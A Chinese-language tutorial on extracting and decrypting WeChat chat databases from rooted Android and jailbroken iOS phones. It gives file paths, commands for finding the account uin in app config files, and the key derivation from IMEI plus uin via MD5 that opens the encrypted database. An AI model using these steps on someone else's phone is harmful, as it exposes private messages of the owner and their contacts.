“如何获取Android、iPhone手机上的微信聊天记录? ”
0×00 条件:
安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)
Apple设备越狱,安装OpenSSH插件
0×01 安卓:
很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。
安卓设备在root以后可以对系统文件存在*别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。
Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg
首先通过FTP把文件down到本地:
以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db
用数据库管理器打开:提示加密或者不是数据库文件
这里可以用windows环境下的SQLite Database Browser浏览器打开:
提示输入密码:
那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。
微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:
1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;
2.通过抓取WEB版微信聊天的数据包获取到uin。
1.1 App 配置文件
find / -name “system_config_prefs.xml”
/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin
<int name="default_uin" value="146****21" />
1.2 谷歌chrome浏览器登陆WEB版微信:
登陆后新建窗口并访问chrome://net-internals/#events
发送信息 抓包 find uin值
uin:146****21
通过上述两种方法找到的uin值是相同的。
安卓拨号界面输入*#06#获得手机IMEI码:354**********85
IMEI值+uin值组合即为354**********85146****21
md5: http://www.spriteking.com/cmd5/ 左侧加密
得到32位小写md5值:1cbf8b842f8bf650aa65e5d3ced07735取其前七位:1cbf8b8输入到sql浏览器中。
Linux、Mac用户也可以在终端执行:
echo -n "354**********85146****21" | md5sum | cut -c -7
成功打开微信的数据库文件:

0×02 苹果:
Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:
iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。
在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。
find /var/mobile/Containers/Data -name "MM.sqlite" mkdir /cache find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../../ /cache
